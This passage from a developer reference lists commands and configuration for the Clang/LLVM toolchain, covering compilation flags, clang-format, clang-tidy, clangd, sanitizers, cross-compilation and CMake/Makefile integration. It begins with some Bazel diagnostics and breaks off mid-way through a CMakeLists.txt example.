# Check cache statistics
bazel info | grep cache

# Remote cache diagnostics
bazel build --remote_cache_print_upload_stats=true //...

# Profile build
bazel build --profile=profile.json //...

# Analyze profile
bazel analyze-profile profile.json
bazel analyze-profile --html profile.json > profile.html

# Show critical path
bazel analyze-profile --dump=critpath profile.json

# Memory profiling
bazel build --heap_dump_on_oom //...
bazel dump --rules
bazel dump --skylark_memory

# Show all dependencies
bazel query 'deps(//src:main)' --output=graph

# Find unused dependencies
bazel query 'kind("cc_library", deps(//src:main))' --output=label

# Check for diamond dependencies
bazel query 'allpaths(//src:main, //third_party:lib)'

# Verify dependency visibility
bazel build --check_visibility //src:main

# Fix dependency issues
# Use buildozer for bulk edits
buildozer 'add deps :new_dep' //src:*

# Latest stable version
sudo apt update
sudo apt install clang

# Specific version
sudo apt install clang-15

# Full LLVM toolchain
sudo apt install clang llvm lld

# Additional tools
sudo apt install clang-format clang-tidy clangd

# Install all clang tools
sudo apt install clang-tools

# Verify installation
clang --version
clang-format --version
clang-tidy --version

# Xcode Command Line Tools (includes clang)
xcode-select --install

# Via Homebrew (LLVM version)
brew install llvm

# Add to PATH (Homebrew LLVM)
export PATH="/usr/local/opt/llvm/bin:$PATH"

# Verify installation
clang --version

# Via Visual Studio (includes clang-cl)
# Install "C++ Clang tools for Windows" component

# Via MSYS2
pacman -S mingw-w64-x86_64-clang

# Via Chocolatey
choco install llvm

# Verify installation
clang --version

# Clone LLVM project
git clone https://github.com/llvm/llvm-project.git
cd llvm-project

# Create build directory
mkdir build && cd build

# Configure with CMake
cmake -G "Unix Makefiles" \
  -DCMAKE_BUILD_TYPE=Release \
  -DLLVM_ENABLE_PROJECTS="clang;clang-tools-extra" \
  ../llvm

# Build (use -j for parallel builds)
make -j$(nproc)

# Install
sudo make install

# Verify
clang --version

# Compile C program
clang hello.c -o hello

# Compile C++ program
clang++ hello.cpp -o hello

# Compile with warnings
clang -Wall -Wextra main.c -o program

# Compile multiple files
clang main.c utils.c helper.c -o program

# Compile to object file
clang -c module.c -o module.o

# Link object files
clang main.o utils.o -o program

# Preprocess only
clang -E source.c -o source.i

# Compile to assembly
clang -S source.c -o source.s

# Show compilation stages
clang -### main.c

# No optimization (default, fastest compile)
clang -O0 main.c -o program

# Basic optimization
clang -O1 main.c -o program

# Moderate optimization (recommended)
clang -O2 main.c -o program

# Aggressive optimization
clang -O3 main.c -o program

# Optimize for size
clang -Os main.c -o program

# Aggressive size optimization
clang -Oz main.c -o program

# Fast math optimizations (less precise)
clang -O3 -ffast-math main.c -o program

# Debug optimization (optimize but keep debug info)
clang -Og -g main.c -o program

# C standards
clang -std=c89 main.c      # ANSI C (C89/C90)
clang -std=c99 main.c      # C99
clang -std=c11 main.c      # C11
clang -std=c17 main.c      # C17
clang -std=c2x main.c      # C23 (draft)

# C++ standards
clang++ -std=c++98 main.cpp   # C++98
clang++ -std=c++11 main.cpp   # C++11
clang++ -std=c++14 main.cpp   # C++14
clang++ -std=c++17 main.cpp   # C++17
clang++ -std=c++20 main.cpp   # C++20
clang++ -std=c++2b main.cpp   # C++23 (draft)

# GNU extensions (default)
clang -std=gnu11 main.c
clang++ -std=gnu++17 main.cpp

# Essential warnings
clang -Wall main.c              # Common warnings
clang -Wextra main.c            # Extra warnings
clang -Wpedantic main.c         # Strict standard compliance

# All warnings
clang -Wall -Wextra -Wpedantic main.c

# Treat warnings as errors
clang -Werror main.c

# Specific warnings
clang -Wunused main.c           # Unused variables
clang -Wshadow main.c           # Variable shadowing
clang -Wconversion main.c       # Type conversions
clang -Wcast-align main.c       # Alignment issues
clang -Wformat=2 main.c         # Format string issues

# Disable specific warnings
clang -Wno-unused-parameter main.c

# Everything (very verbose)
clang -Weverything main.c

# Recommended flags
clang -Wall -Wextra -Wpedantic -Wshadow -Wconversion main.c

# Add include directory
clang -I/usr/local/include main.c

# Multiple include paths
clang -I./include -I./external/include main.c

# System include path
clang -isystem /usr/local/include main.c

# Link library
clang main.c -lm -o program              # Link math library
clang main.c -lpthread -o program        # Link pthread

# Library search path
clang -L/usr/local/lib main.c -lmylib

# Static linking
clang -static main.c -o program

# Shared library creation
clang -shared -fPIC lib.c -o libmylib.so

# Runtime library path
clang -Wl,-rpath,/usr/local/lib main.c -lmylib

# Debug symbols
clang -g main.c -o program

# Debug with optimization
clang -g -O2 main.c -o program

# Debug symbols level
clang -g0 main.c    # No debug info
clang -g1 main.c    # Minimal debug info
clang -g2 main.c    # Default debug info
clang -g3 main.c    # Maximum debug info

# DWARF version
clang -gdwarf-4 main.c

# Split debug info
clang -gsplit-dwarf main.c

# Strip symbols
strip program

# Define macro
clang -DDEBUG main.c
clang -DVERSION=1.0 main.c

# Undefine macro
clang -UDEBUG main.c

# Show defined macros
clang -dM -E - < /dev/null

# Include file
clang -include config.h main.c

# Precompiled headers
clang -x c-header header.h -o header.pch
clang -include-pch header.pch main.c

# Show include paths
clang -E -v main.c

# Position independent code (for shared libraries)
clang -fPIC -c lib.c -o lib.o

# Position independent executable
clang -fPIE -pie main.c -o program

# Create shared library
clang -shared -fPIC lib.c -o libmylib.so

# Link against shared library
clang main.c -L. -lmylib -o program

# Format file (output to stdout)
clang-format file.cpp

# Format and overwrite file
clang-format -i file.cpp

# Format multiple files
clang-format -i src/*.cpp include/*.h

# Format with specific style
clang-format -style=llvm file.cpp
clang-format -style=google file.cpp
clang-format -style=chromium file.cpp
clang-format -style=mozilla file.cpp
clang-format -style=webkit file.cpp

# Format specific lines
clang-format -lines=10:20 file.cpp

# Dry run (show what would change)
clang-format -output-replacements-xml file.cpp

# Check if formatting needed (exit code)
clang-format --dry-run -Werror file.cpp

# .clang-format in project root
---
BasedOnStyle: LLVM
IndentWidth: 4
TabWidth: 4
UseTab: Never
ColumnLimit: 100
BreakBeforeBraces: Allman
AllowShortFunctionsOnASingleLine: Empty
AllowShortIfStatementsOnASingleLine: Never
AllowShortLoopsOnASingleLine: false
IndentCaseLabels: true
SpaceBeforeParens: ControlStatements
PointerAlignment: Left

# Generate .clang-format file
clang-format -style=llvm -dump-config > .clang-format

# LLVM style
clang-format -style=llvm -i file.cpp

# Google C++ Style
clang-format -style=google -i file.cpp

# Chromium style
clang-format -style=chromium -i file.cpp

# Mozilla style
clang-format -style=mozilla -i file.cpp

# WebKit style
clang-format -style=webkit -i file.cpp

# Custom inline style
clang-format -style="{BasedOnStyle: llvm, IndentWidth: 8}" file.cpp

# Vim integration (~/.vimrc)
# map <C-K> :py3f /usr/share/clang/clang-format.py<cr>
# imap <C-K> <c-o>:py3f /usr/share/clang/clang-format.py<cr>

# VS Code
# Install "C/C++" extension by Microsoft
# Settings: "C_Cpp.clang_format_style": "file"

# Emacs
# (load "/usr/share/clang/clang-format.el")
# (global-set-key [C-M-tab] 'clang-format-region)

# Sublime Text
# Install "Clang Format" package

# Format staged files before commit
git diff -U0 --no-color --cached | clang-format-diff -i -p1

# Pre-commit hook
# .git/hooks/pre-commit
#!/bin/bash
for file in $(git diff --cached --name-only --diff-filter=ACM | grep -E '\.(c|cpp|h|hpp)$'); do
    clang-format -i "$file"
    git add "$file"
done

# Check formatting in CI
find src include -name '*.cpp' -o -name '*.h' | \
  xargs clang-format --dry-run -Werror

# Format all files
find . -regex '.*\.\(cpp\|hpp\|c\|h\)' -exec clang-format -i {} \;

# Check for formatting changes
clang-format -i src/**/*.{cpp,h}
git diff --exit-code

# Run clang-tidy on file
clang-tidy file.cpp

# With compilation database
clang-tidy file.cpp -p build/

# Specify checks
clang-tidy -checks='*' file.cpp
clang-tidy -checks='readability-*' file.cpp
clang-tidy -checks='modernize-*,readability-*' file.cpp

# Exclude checks
clang-tidy -checks='*,-modernize-use-trailing-return-type' file.cpp

# Apply fixes automatically
clang-tidy -fix file.cpp

# Apply fixes for errors only
clang-tidy -fix-errors file.cpp

# Export fixes to file
clang-tidy -export-fixes=fixes.yaml file.cpp

# List available checks
clang-tidy -list-checks

# Explain check
clang-tidy -checks='readability-*' -explain-config

# .clang-tidy in project root
---
Checks: >
  -*,
  bugprone-*,
  clang-analyzer-*,
  cppcoreguidelines-*,
  modernize-*,
  performance-*,
  portability-*,
  readability-*,
  -modernize-use-trailing-return-type,
  -readability-magic-numbers,
  -cppcoreguidelines-avoid-magic-numbers

WarningsAsErrors: ''
HeaderFilterRegex: '.*'
FormatStyle: file
CheckOptions:
  - key: readability-identifier-naming.ClassCase
    value: CamelCase
  - key: readability-identifier-naming.FunctionCase
    value: camelBack
  - key: readability-identifier-naming.VariableCase
    value: lower_case
  - key: readability-identifier-naming.ConstantCase
    value: UPPER_CASE

# Bugprone checks
clang-tidy -checks='bugprone-*' file.cpp

# Performance checks
clang-tidy -checks='performance-*' file.cpp

# Modernization (C++11/14/17/20)
clang-tidy -checks='modernize-*' file.cpp

# Readability improvements
clang-tidy -checks='readability-*' file.cpp

# C++ Core Guidelines
clang-tidy -checks='cppcoreguidelines-*' file.cpp

# Clang static analyzer
clang-tidy -checks='clang-analyzer-*' file.cpp

# CERT secure coding
clang-tidy -checks='cert-*' file.cpp

# Google style guide
clang-tidy -checks='google-*' file.cpp

# LLVM coding standards
clang-tidy -checks='llvm-*' file.cpp

# Multiple categories
clang-tidy -checks='bugprone-*,performance-*,modernize-*' file.cpp

# Use auto where appropriate
clang-tidy -checks='modernize-use-auto' -fix file.cpp

# Use nullptr instead of NULL/0
clang-tidy -checks='modernize-use-nullptr' -fix file.cpp

# Use override keyword
clang-tidy -checks='modernize-use-override' -fix file.cpp

# Use range-based for loops
clang-tidy -checks='modernize-loop-convert' -fix file.cpp

# Avoid C-style casts
clang-tidy -checks='cppcoreguidelines-pro-type-cstyle-cast' file.cpp

# Check for memory leaks
clang-tidy -checks='clang-analyzer-cplusplus.NewDelete*' file.cpp

# Performance: unnecessary copies
clang-tidy -checks='performance-unnecessary-copy-initialization' file.cpp

# Readability: naming conventions
clang-tidy -checks='readability-identifier-naming' file.cpp

# With CMake (generate compile_commands.json)
cmake -DCMAKE_EXPORT_COMPILE_COMMANDS=ON ..
clang-tidy -p build/ src/file.cpp

# Run on all files in compilation database
find src -name '*.cpp' | xargs clang-tidy -p build/

# Using run-clang-tidy.py (parallel execution)
run-clang-tidy.py -p build/ -checks='*' -fix

# Makefile integration
make clean
bear -- make
clang-tidy -p . src/file.cpp

// Suppress specific warning
// NOLINTNEXTLINE(check-name)
int bad_code = 0;

// Suppress for entire line
int bad_code = 0;  // NOLINT

// Suppress specific checks
// NOLINTNEXTLINE(readability-magic-numbers, cppcoreguidelines-avoid-magic-numbers)
int value = 42;

// Suppress in region
// NOLINTBEGIN(check-name)
int bad_code1 = 0;
int bad_code2 = 0;
// NOLINTEND(check-name)

# Ubuntu/Debian
sudo apt install clangd

# macOS
brew install llvm
# clangd is in /usr/local/opt/llvm/bin/clangd

# Verify installation
clangd --version

# Update alternatives (if multiple versions)
sudo update-alternatives --install /usr/bin/clangd clangd /usr/bin/clangd-15 100

# ~/.config/clangd/config.yaml
CompileFlags:
  Add:
    - "-Wall"
    - "-Wextra"
    - "-std=c++17"
  Remove:
    - "-W*"
  CompilationDatabase: build/

Index:
  Background: Build

Diagnostics:
  ClangTidy:
    Add:
      - modernize*
      - bugprone*
    Remove:
      - modernize-use-trailing-return-type
  UnusedIncludes: Strict

Hover:
  ShowAKA: Yes

InlayHints:
  Enabled: Yes
  ParameterNames: Yes
  DeducedTypes: Yes

// settings.json
{
  "clangd.path": "/usr/bin/clangd",
  "clangd.arguments": [
    "--background-index",
    "--clang-tidy",
    "--header-insertion=iwyu",
    "--completion-style=detailed",
    "--function-arg-placeholders",
    "--fallback-style=llvm"
  ],
  "clangd.checkUpdates": true,
  "[cpp]": {
    "editor.defaultFormatter": "llvm-vs-code-extensions.vscode-clangd",
    "editor.formatOnSave": true
  }
}

" Using coc.nvim
" Install: :CocInstall coc-clangd

" ~/.config/nvim/coc-settings.json
{
  "clangd.path": "/usr/bin/clangd",
  "clangd.arguments": [
    "--background-index",
    "--clang-tidy",
    "--header-insertion=iwyu"
  ]
}

" Using vim-lsp
Plug 'prabirshrestha/vim-lsp'
Plug 'mattn/vim-lsp-settings'

" Auto-install clangd
:LspInstallServer clangd

;; Using lsp-mode
(use-package lsp-mode
  :commands lsp
  :config
  (setq lsp-clients-clangd-args
    '("--background-index"
      "--clang-tidy"
      "--header-insertion=iwyu")))

(add-hook 'c-mode-hook 'lsp)
(add-hook 'c++-mode-hook 'lsp)

# Generate with CMake
cmake -DCMAKE_EXPORT_COMPILE_COMMANDS=ON ..
ln -s build/compile_commands.json .

# Generate with Bear
bear -- make

# Generate with compiledb (for Make)
compiledb make

# Manual compile_commands.json
cat > compile_commands.json << 'EOF'
[
  {
    "directory": "/home/user/project",
    "command": "clang++ -std=c++17 -Wall src/main.cpp",
    "file": "src/main.cpp"
  }
]
EOF

# Code completion
# Automatic as you type

# Go to definition
# Ctrl+Click or F12 (VS Code)
# gd in Vim with LSP

# Find references
# Shift+F12 (VS Code)
# gr in Vim

# Hover documentation
# Hover with mouse or K in Vim

# Code formatting
# Alt+Shift+F (VS Code)
# :Format in Vim

# Rename symbol
# F2 (VS Code)
# <leader>rn in Vim

# Diagnostics
# Automatic inline errors and warnings

# Fix-its
# Automatic code fixes suggested

# Check syntax
clang-check file.cpp

# With compilation database
clang-check -p build/ file.cpp

# Dump AST
clang-check -ast-dump file.cpp

# Dump specific function
clang-check -ast-dump -ast-dump-filter=functionName file.cpp

# Run static analyzer
clang-check --analyze file.cpp

# Start interactive mode
clang-query file.cpp

# Execute query from command line
clang-query -c "match functionDecl()" file.cpp

# Common queries
match functionDecl()                    # Find all functions
match functionDecl(isMain())            # Find main function
match varDecl()                         # Find all variables
match recordDecl(isClass())             # Find all classes
match callExpr()                        # Find all function calls

# With filters
match functionDecl(hasName("foo"))
match functionDecl(returns(asString("int")))
match varDecl(hasType(isInteger()))

# Set output style
set output detailed
set output dump

# Analyze with make
scan-build make

# Analyze with CMake
scan-build cmake ..
scan-build make

# Specify analyzer
scan-build --use-analyzer=/usr/bin/clang make

# View results in browser
scan-build -o analysis-results make

# Enable all checks
scan-build -enable-checker alpha make

# Verbose output
scan-build -v make

# Generate HTML report
scan-build -o ./scan-results make

# Apply fixes from clang-tidy
clang-tidy -export-fixes=fixes.yaml file.cpp
clang-apply-replacements .

# Apply fixes from directory
clang-apply-replacements /path/to/fixes/

# Format after applying
clang-apply-replacements -format .

# Compile with ASan
clang -fsanitize=address -g program.c -o program

# C++ with ASan
clang++ -fsanitize=address -g program.cpp -o program

# Run the program
./program

# With additional options
ASAN_OPTIONS=detect_leaks=1:symbolize=1 ./program

# Check for memory leaks only
ASAN_OPTIONS=detect_leaks=1 ./program

# Detailed error messages
ASAN_OPTIONS=verbosity=1:malloc_context_size=20 ./program

# Halt on first error
ASAN_OPTIONS=halt_on_error=1 ./program

# ASan with optimization
clang -fsanitize=address -O1 -g -fno-omit-frame-pointer program.c

# Compile with MSan
clang -fsanitize=memory -g program.c -o program

# Track origins of uninitialized values
clang -fsanitize=memory -fsanitize-memory-track-origins -g program.c

# Run with options
MSAN_OPTIONS=halt_on_error=0 ./program

# Must compile ALL code with MSan (including libraries)
clang -fsanitize=memory -g main.c lib.c -o program

# Compile with TSan
clang -fsanitize=thread -g program.c -o program

# Link with pthread
clang -fsanitize=thread -g program.c -lpthread -o program

# Run with options
TSAN_OPTIONS=second_deadlock_stack=1 ./program

# Suppress specific warnings
# Create tsan.supp file
echo "race:^FunctionName$" > tsan.supp
TSAN_OPTIONS=suppressions=tsan.supp ./program

# Compile with UBSan
clang -fsanitize=undefined -g program.c -o program

# Specific checks
clang -fsanitize=null -g program.c              # Null pointer
clang -fsanitize=signed-integer-overflow -g     # Integer overflow
clang -fsanitize=shift -g                       # Invalid shifts
clang -fsanitize=bounds -g                      # Array bounds

# Multiple checks
clang -fsanitize=undefined,integer -g program.c

# Trap on error (no runtime library)
clang -fsanitize=undefined -fsanitize-trap=undefined program.c

# Print stack traces
UBSAN_OPTIONS=print_stacktrace=1 ./program

# Halt on first error
UBSAN_OPTIONS=halt_on_error=1 ./program

# Use with ASan
clang -fsanitize=address -g program.c -o program

# Standalone leak detection
clang -fsanitize=leak -g program.c -o program

# Run with leak detection
LSAN_OPTIONS=verbosity=1:log_threads=1 ./program

# Suppress leaks
echo "leak:FunctionName" > lsan.supp
LSAN_OPTIONS=suppressions=lsan.supp ./program

# ASan + UBSan
clang -fsanitize=address,undefined -g program.c -o program

# Multiple sanitizers (not all can be combined)
clang -fsanitize=address,undefined,integer -g program.c

# Cannot combine TSan with ASan/MSan
# Use separately

# Common combination for testing
clang -fsanitize=address,undefined,leak \
  -fno-omit-frame-pointer \
  -g -O1 program.c -o program

# Specify target triple
clang --target=arm-linux-gnueabihf main.c -o program

# Common targets
clang --target=aarch64-linux-gnu          # ARM64 Linux
clang --target=arm-linux-gnueabihf        # ARM Linux (hard float)
clang --target=x86_64-w64-mingw32         # Windows 64-bit
clang --target=i686-w64-mingw32           # Windows 32-bit
clang --target=wasm32-wasi                # WebAssembly

# Show default target
clang -v

# List available targets
llc --version

# Specify sysroot
clang --target=arm-linux-gnueabihf \
  --sysroot=/usr/arm-linux-gnueabihf \
  main.c -o program

# With GCC toolchain
clang --target=arm-linux-gnueabihf \
  --gcc-toolchain=/usr/arm-linux-gnueabihf \
  main.c -o program

# Multiple paths
clang --target=arm-linux-gnueabihf \
  --sysroot=/usr/arm-linux-gnueabihf \
  -I/opt/cross/include \
  -L/opt/cross/lib \
  main.c -o program

# Install ARM cross-compiler
sudo apt install gcc-arm-linux-gnueabihf

# Cross-compile for ARM
clang --target=arm-linux-gnueabihf \
  --sysroot=/usr/arm-linux-gnueabihf \
  -march=armv7-a \
  -mfpu=neon \
  main.c -o program-arm

# Verify target
file program-arm
# program-arm: ELF 32-bit LSB executable, ARM

# Cross-compile for Windows
sudo apt install mingw-w64
clang --target=x86_64-w64-mingw32 \
  -L/usr/x86_64-w64-mingw32/lib \
  main.c -o program.exe

# WebAssembly
clang --target=wasm32-wasi \
  --sysroot=/opt/wasi-sysroot \
  main.c -o program.wasm

# toolchain.cmake
set(CMAKE_SYSTEM_NAME Linux)
set(CMAKE_SYSTEM_PROCESSOR ARM)

set(CMAKE_C_COMPILER clang)
set(CMAKE_CXX_COMPILER clang++)

set(CMAKE_C_COMPILER_TARGET arm-linux-gnueabihf)
set(CMAKE_CXX_COMPILER_TARGET arm-linux-gnueabihf)

set(CMAKE_SYSROOT /usr/arm-linux-gnueabihf)

set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER)
set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY)
set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY)

# Use toolchain file
cmake -DCMAKE_TOOLCHAIN_FILE=toolchain.cmake ..
make

# CMakeLists.txt
cmake_minimum_required(VERSION 3.10)
project(MyProject)

# Use Clang
set(CMAKE_C_COMPILER clang)
set(CMAKE_CXX_COMPILER clang++)

# C++ standard
set(CMAKE_CXX_STANDARD 17)
set(CMAKE_CXX_STANDARD_REQUIRED ON)

# Compiler flags
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wall -Wextra")

# Debug flags
set(CMAKE_CXX_FLAGS_DEBUG "-g -O0")

# Release flags
set(CMAKE_CXX_FLAGS_RELEASE "-O3 -DNDEBUG")

# Export compile commands for clangd
set(CMAKE_EXPORT_COMPILE_COMMANDS ON)

# Enable clang-tidy
set(CMAKE_CXX_CLANG_TIDY clang-tidy -checks=-*,readability-*)

# AddressSanitizer
option(ENABLE_ASAN "Enable AddressSanitizer" OFF)
if(ENABLE_ASAN)
    add_compile_options(-fsanitize=address)
    add_link_options(-fsanitize=address)
endif()

# Executable
add_executable(myprogram main.cpp utils.cpp)

# Configure with Clang
CC=clang CXX=clang++ cmake ..

# Or with CMake option
cmake -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ ..

# Build
cmake --build .

# With sanitizers
cmake -DENABLE_ASAN=ON ..

# Makefile
CC = clang
CXX = clang++
CFLAGS = -Wall -Wextra -std=c11 -O2
CXXFLAGS = -Wall -Wextra -std=c++17 -O2

# Sanitizers (optional)
SANITIZE = -fsanitize=address,undefined

# Directories
SRCDIR = src
OBJDIR = obj
BINDIR = bin

# Files
SRCS = $(wildcard $(SRCDIR)/*.cpp)
OBJS = $(SRCS:$(SRCDIR)/%.cpp=$(OBJDIR)/%.o)
TARGET = $(BINDIR)/program

# Targets
all: $(TARGET)

$(TARGET): $(OBJS) | $(BINDIR)
	$(CXX) $(CXXFLAGS) $(SANITIZE) -o $@ $^

$(OBJDIR)/%.o: $(SRCDIR)/%.cpp | $(OBJDIR)
	$(CXX) $(CXXFLAGS) -c $< -o $@

$(BINDIR) $(OBJDIR):
	mkdir -p $@

clean:
	rm -rf $(OBJDIR) $(BINDIR)

# Format code
format:
	find $(SRCDIR) -name '*.cpp' -o -name '*.h' | xargs clang-format -i

# Run linter
lint:
	clang-tidy $(SRCS) -- $(CXXFLAGS)

.PHONY: all clean format lint

# Generate with CMake
cmake -DCMAKE_EXPORT_COMPILE_COMMANDS=ON ..
ln -s build/compile_commands.json .

# Generate with Bear (for Makefiles)
bear -- make

# Generate with compiledb
pip install compiledb
compiledb make

# Manual JSON format
cat > compile_commands.json << 'EOF'
[
  {
    "directory": "/home/user/project",
    "command": "clang++ -std=c++17 -Wall -Iinclude -c src/main.cpp -o obj/main.o",
    "file": "src/main.cpp"
  },
  {
    "directory": "/home/user/project",
    "command": "clang++ -std=c++17 -Wall -Iinclude -c src/utils.cpp -o obj/utils.o",
    "file": "src/utils.cpp"
  }
]
EOF

# Verify compilation database
clangd --check=/path/to/file.cpp

# 1. Project setup
mkdir -p myproject/{src,include,build,tests}
cd myproject

# 2. Initialize Git
git init

# 3. Create .clang-format
clang-format -style=llvm -dump-config > .clang-format

# 4. Create .clang-tidy
cat > .clang-tidy << 'EOF'
---
Checks: >
  -*,
  bugprone-*,
  clang-analyzer-*,
  modernize-*,
  performance-*,
  readability-*
EOF

# 5. Create CMakeLists.txt
cat > CMakeLists.txt << 'EOF'
cmake_minimum_required(VERSION 3.10)
project(MyProject CXX)

set(CMAKE_CXX_STANDARD 17)
set(CMAKE_EXPORT_COMPILE_COMMANDS ON)

add_executable(myapp src/main.cpp)
EOF

# 6. Configure and build
cd build
cmake -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ ..
ln -s build/compile_commands.json ../compile_commands.json

# 7. Develop with clangd LSP support
# (automatic completion, diagnostics, etc.)

# 8. Format before commit
clang-format -i src/*.cpp include/*.h

# 9. Run linter
clang-tidy src/*.cpp

# 10. Test with sanitizers
cmake -DCMAKE_CXX_FLAGS="-fsanitize=address,undefined" ..
make && ./myapp

# .git/hooks/pre-commit
#!/bin/bash

# Format code
echo "Running clang-format..."
for file in $(git diff --cached --name-only --diff-filter=ACM | grep -E '\.(c|cpp|h|hpp)$'); do
    clang-format -i "$file"
    git add "$file"
done

# Run clang-tidy
echo "Running clang-tidy..."
for file in $(git diff --cached --name-only --diff-filter=ACM | grep -E '\.(cpp)$'); do
    clang-tidy "$file" -- -std=c++17
    if [ $? -ne 0 ]; then
        echo "clang-tidy failed for $file"
        exit 1
    fi
done

echo "Pre-commit checks passed!"

# .github/workflows/ci.yml
name: CI

on: [push, pull_request]

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
    - uses: actions/checkout@v3

    - name: Install dependencies
      run: |
        sudo apt update
        sudo apt install -y clang clang-format clang-tidy cmake

    - name: Check formatting
      run: |
        find src include -name '*.cpp' -o -name '*.h' | \
          xargs clang-format --dry-run -Werror

    - name: Build
      run: |
        mkdir build && cd build
        cmake -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ ..
        make

    - name: Run clang-tidy
      run: |
        cd build
        run-clang-tidy.py -p . -checks='*' ../src

    - name: Test with sanitizers
      run: |
        mkdir build-asan && cd build-asan
        cmake -DCMAKE_C_COMPILER=clang \
              -DCMAKE_CXX_COMPILER=clang++ \
              -DCMAKE_CXX_FLAGS="-fsanitize=address,undefined" ..
        make
        ./myapp

CC = clang
CXX = clang++
CXXFLAGS = -Wall -Wextra -std=c++17 -O2
TARGET = myapp
SRCS = $(wildcard src/*.cpp)
OBJS = $(SRCS:.cpp=.o)

.PHONY: all clean format lint analyze asan

all: $(TARGET)

$(TARGET): $(OBJS)
	$(CXX) $(CXXFLAGS) -o $@ $^

%.o: %.cpp
	$(CXX) $(CXXFLAGS) -c $< -o $@

clean:
	rm -f $(OBJS) $(TARGET)

format:
	find src include -name '*.cpp' -o -name '*.h' | xargs clang-format -i

lint:
	clang-tidy $(SRCS) -- $(CXXFLAGS)

lint-fix:
	clang-tidy -fix $(SRCS) -- $(CXXFLAGS)

analyze:
	scan-build make

asan:
	$(CXX) $(CXXFLAGS) -fsanitize=address,undefined -g $(SRCS) -o $(TARGET)
	./$(TARGET)

compdb:
	bear -- make

# 1. Format code
make format

# 2. Run static analysis
make lint

# 3. Fix automatic issues
clang-tidy -fix src/*.cpp

# 4. Run tests with sanitizers
make asan

# 5. Check for compilation database
clangd --check=src/main.cpp

# 6. Commit changes
git add .
git commit -m "Fix issues found by clang-tidy"

# 7. Push for review
git push origin feature-branch

# Project structure
myproject/
├── .clang-format          # Code style
├── .clang-tidy            # Linter config
├── .clangd                # LSP config (optional)
├── compile_commands.json  # Compilation database
├── CMakeLists.txt         # Build config
├── include/               # Public headers
├── src/                   # Source files
├── tests/                 # Test files
└── build/                 # Build artifacts

# Essential files
.clang-format     # Consistent formatting
.clang-tidy       # Static analysis rules
.gitignore        # Exclude build artifacts
CMakeLists.txt    # Build system

# Development build
clang++ -Wall -Wextra -Wpedantic -Wshadow \
  -g -O0 -std=c++17 \
  -fsanitize=address,undefined \
  main.cpp -o myapp

# Release build
clang++ -Wall -Wextra -O3 -DNDEBUG \
  -std=c++17 -flto \
  main.cpp -o myapp

# Security-hardened build
clang++ -Wall -Wextra -O2 \
  -D_FORTIFY_SOURCE=2 \
  -fstack-protector-strong \
  -fPIE -pie \
  -Wformat -Wformat-security \
  main.cpp -o myapp

# Comprehensive checking workflow
make clean
make format              # Format code
make lint                # Run clang-tidy
make analyze             # Static analysis with scan-build
make asan                # Test with sanitizers
make test                # Run unit tests

# Automated in CI/CD
clang-format --dry-run -Werror src/*.cpp
clang-tidy src/*.cpp
scan-build make
make test

# Profile-guided optimization (PGO)
# Step 1: Build with profiling
clang++ -O2 -fprofile-generate program.cpp -o program

# Step 2: Run with typical workload
./program < typical_input.txt

# Step 3: Build with profile data
clang++ -O2 -fprofile-use program.cpp -o program

# Link-time optimization (LTO)
clang++ -O3 -flto main.cpp utils.cpp -o program

# Fast math (trade precision for speed)
clang++ -O3 -ffast-math program.cpp -o program

# CPU-specific optimization
clang++ -O3 -march=native program.cpp -o program

# 1. Generate compilation database
cmake -DCMAKE_EXPORT_COMPILE_COMMANDS=ON ..

# 2. Symlink to project root
ln -s build/compile_commands.json .

# 3. Configure clangd
cat > .clangd << 'EOF'
CompileFlags:
  CompilationDatabase: build/
EOF

# 4. Install editor extension
# VS Code: Install "clangd" extension
# Vim: Install coc-clangd or vim-lsp
# Emacs: Use lsp-mode with clangd

# 5. Verify setup
clangd --check=src/main.cpp

# "undefined reference" errors
# Problem: Missing library or object file
# Solution: Add -l flag for libraries
clang main.c -lm -lpthread -o program

# "cannot find -lxxx" error
# Problem: Library not in search path
# Solution: Add library path with -L
clang main.c -L/usr/local/lib -lmylib -o program

# "fatal error: 'header.h' file not found"
# Problem: Include path not specified
# Solution: Add include path with -I
clang -I./include main.c -o program

# Multiple definition errors
# Problem: Symbol defined in multiple files
# Solution: Use static or inline, or fix header guards

# Sanitizer errors
# Problem: Real bugs in code
# Solution: Fix the code based on sanitizer output

# Slow compilation
# Use ccache
export CC="ccache clang"
export CXX="ccache clang++"

# Parallel compilation
make -j$(nproc)

# Precompiled headers
clang++ -x c++-header pch.h -o pch.h.pch
clang++ -include-pch pch.h.pch main.cpp

# clangd high memory usage
# Limit background indexing in .clangd config
cat > .clangd << 'EOF'
Index:
  Background: Skip
EOF

# Slow clang-tidy
# Run on changed files only
git diff --name-only | grep '\.cpp$' | xargs clang-tidy

# Show compilation commands
clang -v main.c

# Show detailed compilation stages
clang -### main.c

# Dump preprocessor output
clang -E main.c > main.i

# Dump AST
clang -Xclang -ast-dump main.c

# Show include tree
clang -H main.c

# Verbose linking
clang -Wl,--verbose main.c

# Debug clangd
clangd --log=verbose --check=src/main.cpp 2>&1 | tee clangd.log

# Full clean build
make clean
rm -rf build/
mkdir build && cd build
cmake -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ ..
make

# Clear ccache
ccache --clear

# Regenerate compilation database
rm compile_commands.json
cmake -DCMAKE_EXPORT_COMPILE_COMMANDS=ON ..
ln -s build/compile_commands.json .

# Project structure
mkdir -p myproject/{src,include,tests,build}
cd myproject

# Main source file
cat > src/main.cpp << 'EOF'
#include <iostream>
#include "utils.h"

int main() {
    std::cout << "Result: " << calculate(10, 20) << std::endl;
    return 0;
}
EOF

# Header file
cat > include/utils.h << 'EOF'
#ifndef UTILS_H
#define UTILS_H

int calculate(int a, int b);

#endif
EOF

# Implementation file
cat > src/utils.cpp << 'EOF'
#include "utils.h"

int calculate(int a, int b) {
    return a + b;
}
EOF

# CMakeLists.txt
cat > CMakeLists.txt << 'EOF'
cmake_minimum_required(VERSION 3.10)
project(MyProject CXX)

set(CMAKE_CXX_STANDARD 17)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
set(CMAKE_EXPORT_COMPILE_COMMANDS ON)

# Compiler options
